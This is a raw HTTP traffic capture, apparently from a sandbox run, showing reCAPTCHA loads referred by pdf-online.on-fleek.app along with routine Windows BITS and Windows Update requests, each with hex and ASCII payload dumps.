2024-09-27 06:18:02 UTC	963	OUT	GET /recaptcha/api2/anchor?ar=1&k=6LdIzuYpAAAAAHT5nKyqfZa1ITwX_EWoYwnF-Nhd&co=aHR0cHM6Ly9wZGYtb25saW5lLm9uLWZsZWVrLmFwcDo0NDM.&hl=en&v=xds0rzGrktR88uEZ2JUvdgOY&size=normal&cb=lw8g0bn9ca2d HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://pdf-online.on-fleek.app/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 06:18:02 UTC	1161	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Report-To: {"group":"coop_38fac9d5b82543fc4729580d18ff2d3d","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/38fac9d5b82543fc4729580d18ff2d3d"}]} Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 27 Sep 2024 06:18:02 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-QkazdedEwXSExl--415RaA' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/recaptcha/1 Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_38fac9d5b82543fc4729580d18ff2d3d" Server: ESF X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-09-27 06:18:02 UTC	229	IN	Data Raw: 35 37 36 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 3c 74 69 74 6c 65 3e 72 65 43 41 50 54 43 48 41 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2f 2a 20 63 79 Data Ascii: 5760<!DOCTYPE HTML><html dir="ltr" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title>reCAPTCHA</title><style type="text/css">/* cy
2024-09-27 06:18:02 UTC	1390	IN	Data Raw: 72 69 6c 6c 69 63 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 32 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 34 36 30 2d 30 35 32 46 2c 20 55 2b 31 43 38 30 2d 31 43 38 38 2c 20 55 2b 32 30 42 34 2c 20 55 2b 32 44 45 30 2d 32 44 46 46 2c 20 55 2b 41 36 34 Data Ascii: rillic-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A64
2024-09-27 06:18:02 UTC	1390	IN	Data Raw: 30 41 42 3b 0a 7d 0a 2f 2a 20 6c 61 74 69 6e 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 47 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 31 30 30 2d 30 32 41 46 2c 20 55 2b 30 33 30 34 2c 20 55 2b 30 33 30 38 2c 20 55 2b 30 33 32 39 2c 20 55 2b 31 45 30 30 Data Ascii: 0AB;}/* latin-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2'); unicode-range: U+0100-02AF, U+0304, U+0308, U+0329, U+1E00
2024-09-27 06:18:02 UTC	1390	IN	Data Raw: 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 43 42 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 31 46 30 30 2d 31 46 46 46 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 Data Ascii: s.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF;}/* greek */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqE
2024-09-27 06:18:02 UTC	1390	IN	Data Raw: 30 33 32 39 2c 20 55 2b 32 30 30 30 2d 32 30 36 46 2c 20 55 2b 32 30 37 34 2c 20 55 2b 32 30 41 43 2c 20 55 2b 32 31 32 32 2c 20 55 2b 32 31 39 31 2c 20 55 2b 32 31 39 33 2c 20 55 2b 32 32 31 32 2c 20 55 2b 32 32 31 35 2c 20 55 2b 46 45 46 46 2c 20 55 2b 46 46 46 44 3b 0a 7d 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 39 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 59 55 74 Data Ascii: 0329, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;}/* cyrillic-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUt
2024-09-27 06:18:02 UTC	1390	IN	Data Raw: 38 2d 30 31 32 39 2c 20 55 2b 30 31 36 38 2d 30 31 36 39 2c 20 55 2b 30 31 41 30 2d 30 31 41 31 2c 20 55 2b 30 31 41 46 2d 30 31 42 30 2c 20 55 2b 30 33 30 30 2d 30 33 30 31 2c 20 55 2b 30 33 30 33 2d 30 33 30 34 2c 20 55 2b 30 33 30 38 2d 30 33 30 39 2c 20 55 2b 30 33 32 33 2c 20 55 2b 30 33 32 39 2c 20 55 2b 31 45 41 30 2d 31 45 46 39 2c 20 55 2b 32 30 41 42 3b 0a 7d 0a 2f 2a 20 6c 61 74 69 6e 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 39 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 Data Ascii: 8-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+0300-0301, U+0303-0304, U+0308-0309, U+0323, U+0329, U+1EA0-1EF9, U+20AB;}/* latin-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; src: url(//fonts.gstatic.com/s/r
2024-09-27 06:18:02 UTC	1390	IN	Data Raw: 22 68 69 64 64 65 6e 22 20 69 64 3d 22 72 65 63 61 70 74 63 68 61 2d 74 6f 6b 65 6e 22 20 76 61 6c 75 65 3d 22 30 33 41 46 63 57 65 41 37 50 53 4c 74 49 44 64 5f 33 6c 53 58 59 65 4d 44 44 6d 73 48 41 43 61 6a 46 44 71 69 43 36 72 2d 46 6e 4c 68 65 72 79 68 33 42 63 6f 77 43 71 76 42 30 48 77 65 71 7a 6e 6e 4e 59 42 6a 6d 47 7a 69 71 36 58 34 65 34 63 7a 73 4b 6d 73 4b 63 5f 31 65 74 74 56 75 4a 66 57 31 49 64 78 70 74 66 65 45 32 4e 4e 50 6d 64 57 4b 38 30 44 55 6c 6e 37 44 33 37 6d 62 73 4c 7a 35 74 71 6f 71 77 59 48 49 37 34 79 74 59 65 5a 52 6a 5a 73 55 7a 4a 78 62 51 79 48 38 47 68 70 58 32 45 76 42 6c 73 4b 64 68 68 77 48 48 46 45 56 56 68 43 74 37 42 6e 47 42 53 67 47 78 45 70 65 47 67 69 55 4b 43 4f 49 70 35 34 6f 43 31 4c 2d 4c 54 52 55 48 54 54 Data Ascii: "hidden" id="recaptcha-token" value="03AFcWeA7PSLtIDd_3lSXYeMDDmsHACajFDqiC6r-FnLheryh3BcowCqvB0HweqznnNYBjmGziq6X4e4czsKmsKc_1ettVuJfW1IdxptfeE2NNPmdWK80DUln7D37mbsLz5tqoqwYHI74ytYeZRjZsUzJxbQyH8GhpX2EvBlsKdhhwHHFEVVhCt7BnGBSgGxEpeGgiUKCOIp54oC1L-LTRUHTT
2024-09-27 06:18:02 UTC	1390	IN	Data Raw: 78 6f 5a 41 37 51 73 77 50 67 69 4b 73 70 37 6a 6a 58 77 79 6d 41 45 46 33 62 48 53 46 47 2d 58 61 55 53 31 6f 59 76 30 6f 41 2d 53 66 62 73 63 5f 76 44 44 79 43 66 51 33 68 69 49 74 32 67 66 47 63 2d 6f 31 38 74 7a 79 4e 73 72 71 72 72 67 54 61 6e 4a 72 6c 35 55 77 39 45 4b 5f 58 2d 5a 4c 34 71 61 49 75 38 53 31 57 54 6f 4a 4e 68 62 71 78 55 5f 4b 52 45 42 74 77 72 49 71 42 61 70 38 36 74 55 42 54 6b 43 65 4d 37 50 5f 69 59 4f 39 73 71 48 52 43 52 72 4b 68 56 68 71 4e 74 32 4f 76 64 77 36 5f 57 32 52 77 51 66 44 32 48 32 6e 45 53 6e 2d 69 4f 5a 33 47 68 76 73 55 6a 55 79 4e 75 73 6e 38 39 64 44 49 5f 58 2d 7a 65 51 58 50 6d 33 4d 7a 72 78 5f 4f 70 76 57 53 6d 4c 5a 66 5f 78 72 62 56 4d 70 37 51 54 73 6d 73 59 57 31 52 39 67 50 53 55 44 52 46 4b 30 2d 79 Data Ascii: xoZA7QswPgiKsp7jjXwymAEF3bHSFG-XaUS1oYv0oA-Sfbsc_vDDyCfQ3hiIt2gfGc-o18tzyNsrqrrgTanJrl5Uw9EK_X-ZL4qaIu8S1WToJNhbqxU_KREBtwrIqBap86tUBTkCeM7P_iYO9sqHRCRrKhVhqNt2Ovdw6_W2RwQfD2H2nESn-iOZ3GhvsUjUyNusn89dDI_X-zeQXPm3Mzrx_OpvWSmLZf_xrbVMp7QTsmsYW1R9gPSUDRFK0-y
2024-09-27 06:18:02 UTC	1390	IN	Data Raw: 54 68 36 56 6d 6c 70 4f 56 46 31 52 57 74 72 54 6b 39 36 53 48 64 4b 53 6c 6f 76 61 58 4a 43 5a 7a 52 70 57 46 5a 53 62 6d 4e 69 4e 45 46 69 64 6d 64 44 61 6b 38 35 64 53 74 79 61 48 5a 45 4b 30 46 35 5a 44 46 47 65 6e 63 32 63 31 4a 7a 62 45 52 69 54 45 4a 30 64 57 78 44 61 56 5a 30 62 57 34 78 4f 55 6c 35 52 48 6f 32 62 6d 4a 46 54 31 55 78 4e 7a 4a 32 55 44 46 71 4c 79 74 33 4e 47 5a 77 61 33 4e 55 51 57 4a 42 57 48 45 7a 63 6b 4e 46 64 30 5a 4f 56 32 70 71 65 6e 6c 5a 63 30 64 7a 57 6c 42 6d 61 57 39 6f 5a 55 64 56 53 48 6c 72 54 32 67 77 52 6b 5a 57 61 32 46 4e 4c 30 46 45 51 6e 68 32 54 45 52 6e 56 6e 4a 6e 4f 47 56 53 61 6b 6c 52 53 30 74 79 62 47 6c 77 52 32 52 44 59 30 6c 6f 56 6a 68 71 57 46 42 6f 4f 57 4a 5a 4f 58 4a 72 55 7a 68 74 55 31 4e 46 Data Ascii: Th6VmlpOVF1RWtrTk96SHdKSlovaXJCZzRpWFZSbmNiNEFidmdDak85dStyaHZEK0F5ZDFGenc2c1JzbERiTEJ0dWxDaVZ0bW4xOUl5RHo2bmJFT1UxNzJ2UDFqLyt3NGZwa3NUQWJBWHEzckNFd0ZOV2pqenlZc0dzWlBmaW9oZUdVSHlrT2gwRkZWa2FNL0FEQnh2TERnVnJnOGVSaklRS0tybGlwR2RDY0loVjhqWFBoOWJZOXJrUzhtU1NF
2024-09-27 06:18:02 UTC	1390	IN	Data Raw: 46 55 32 39 52 5a 30 6c 34 64 31 5a 45 65 45 74 70 52 56 4a 31 4b 33 6b 32 64 44 5a 61 54 53 38 78 63 55 68 52 65 6e 70 56 53 32 56 58 62 55 52 73 54 56 70 6d 56 32 4a 54 55 6b 64 72 54 33 70 30 61 56 6c 45 57 47 4a 54 5a 7a 68 46 62 55 74 78 61 32 78 5a 65 46 46 35 4d 32 67 33 5a 32 31 4c 55 44 41 34 52 46 4a 73 52 6b 31 7a 51 33 4d 72 61 47 68 50 56 6a 5a 6b 65 6a 64 61 57 54 5a 74 5a 33 68 35 63 6b 74 30 52 31 4d 78 51 30 63 76 62 47 56 31 4d 6d 74 44 4e 33 64 35 51 56 68 32 63 30 6c 32 5a 57 52 7a 51 54 5a 77 57 6c 4a 6a 57 58 4a 51 59 6b 6c 59 64 31 68 52 52 6d 78 35 61 6a 41 77 4d 6d 68 6e 55 46 46 75 62 6b 64 4f 55 6c 55 32 53 31 70 4c 4d 48 4e 4a 51 55 78 30 62 54 56 6c 55 57 78 4d 52 31 4a 4b 4d 57 64 6a 53 6c 6f 78 5a 55 64 4d 4e 45 4e 6c 56 30 Data Ascii: FU29RZ0l4d1ZEeEtpRVJ1K3k2dDZaTS8xcUhRenpVS2VXbURsTVpmV2JTUkdrT3p0aVlEWGJTZzhFbUtxa2xZeFF5M2g3Z21LUDA4RFJsRk1zQ3MraGhPVjZkejdaWTZtZ3h5ckt0R1MxQ0cvbGV1MmtDN3d5QVh2c0l2ZWRzQTZwWlJjWXJQYklYd1hRRmx5ajAwMmhnUFFubkdOUlU2S1pLMHNJQUx0bTVlUWxMR1JKMWdjSloxZUdMNENlV0

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:03 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-09-27 06:18:03 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=37637 Date: Fri, 27 Sep 2024 06:18:03 GMT Content-Length: 55 Connection: close X-CID: 2
2024-09-27 06:18:03 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:09 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=d3K15243hDxEmop&MD=Yz1dXwpp HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-09-27 06:18:09 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: a89177a0-cac1-49be-a9fc-6e4191b81d6d MS-RequestId: 64379b4f-1d36-498f-a0ef-c1c15d3cb68f MS-CV: j7cZmPqWWUKpTEmw.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 27 Sep 2024 06:18:09 GMT Connection: close Content-Length: 24490
2024-09-27 06:18:09 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-09-27 06:18:09 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:09 UTC	856	OUT	GET /recaptcha/api2/webworker.js?hl=en&v=xds0rzGrktR88uEZ2JUvdgOY HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: worker Referer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LdIzuYpAAAAAHT5nKyqfZa1ITwX_EWoYwnF-Nhd&co=aHR0cHM6Ly9wZGYtb25saW5lLm9uLWZsZWVrLmFwcDo0NDM.&hl=en&v=xds0rzGrktR88uEZ2JUvdgOY&size=normal&cb=lw8g0bn9ca2d Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 06:18:10 UTC	917	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Report-To: {"group":"coop_38fac9d5b82543fc4729580d18ff2d3d","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/38fac9d5b82543fc4729580d18ff2d3d"}]} Expires: Fri, 27 Sep 2024 06:18:09 GMT Date: Fri, 27 Sep 2024 06:18:09 GMT Cache-Control: private, max-age=300 Cross-Origin-Resource-Policy: same-site Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_38fac9d5b82543fc4729580d18ff2d3d" Server: ESF X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-09-27 06:18:10 UTC	108	IN	Data Raw: 36 36 0d 0a 69 6d 70 6f 72 74 53 63 72 69 70 74 73 28 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 78 64 73 30 72 7a 47 72 6b 74 52 38 38 75 45 5a 32 4a 55 76 64 67 4f 59 2f 72 65 63 61 70 74 63 68 61 5f 5f 65 6e 2e 6a 73 27 29 3b 0d 0a Data Ascii: 66importScripts('https://www.gstatic.com/recaptcha/releases/xds0rzGrktR88uEZ2JUvdgOY/recaptcha__en.js');
2024-09-27 06:18:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:09 UTC	844	OUT	GET /js/bg/zEg4NaMiOUeKKZ2pqXY4HMvMf5VCq4avNU_6WgNs2Cw.js HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LdIzuYpAAAAAHT5nKyqfZa1ITwX_EWoYwnF-Nhd&co=aHR0cHM6Ly9wZGYtb25saW5lLm9uLWZsZWVrLmFwcDo0NDM.&hl=en&v=xds0rzGrktR88uEZ2JUvdgOY&size=normal&cb=lw8g0bn9ca2d Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 06:18:10 UTC	811	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/botguard-scs Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="botguard-scs" Report-To: {"group":"botguard-scs","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/botguard-scs"}]} Content-Length: 18702 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Thu, 26 Sep 2024 12:09:53 GMT Expires: Fri, 26 Sep 2025 12:09:53 GMT Cache-Control: public, max-age=31536000 Last-Modified: Tue, 17 Sep 2024 15:00:00 GMT Content-Type: text/javascript Vary: Accept-Encoding Age: 65297 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
